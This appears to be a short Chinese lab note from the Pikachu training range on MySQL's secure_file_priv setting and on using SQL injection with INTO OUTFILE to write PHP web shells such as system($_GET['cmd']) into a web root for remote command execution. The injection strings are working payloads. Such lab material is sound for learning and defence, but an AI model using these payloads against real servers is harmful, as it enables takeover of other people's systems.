Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

查看命令:

复制代码
show variables like "secure%" 
//或者
select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

into outfile ,将select 的结果写入到指定的文件中;

复制代码
vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#

执行sql语句

进入到服务器目录下,看到文件已生成;

这个实验有三个前提条件:

1、需要知道远程服务器的文件目录;

2、需要该目录有写权限;

3、需要数据库开启secure_file_priv权限;

相关推荐
茉莉玫瑰花茶1 分钟前
GO [ 数据格式 ]
服务器·网络·算法·golang
欢乐的小猪11 分钟前
Linux命令 chmod
linux·运维·服务器
镜象科技12 分钟前
职业院校AI心理健康解决方案是什么?从一台设备到全周期守护
android·人工智能
silvamux_17 分钟前
MCP 协议如何让大模型完成工具调用
大数据·服务器·elasticsearch·fastapi·vllm
the局外人24 分钟前
学会 SQLAlchemy 搭建 Python 与 MySQL 之间的数据访问桥梁 🚀
后端·python·sql
guo_wen_qiang28 分钟前
云服务器安装MongoDB-资源包安装
运维·服务器·mongodb
冰暮流星38 分钟前
mysql索引失效的情形
数据库·笔记·sql·mysql
码上有光1 小时前
Linux:信号的认识、信号的产生、信号的保存、信号的处理
android·linux·运维·信号
Allen-Steven1 小时前
SQL查询专项:从完整书写到综合判断
运维·服务器·数据库
guo_wen_qiang1 小时前
云服务器安装MongoDB
运维·服务器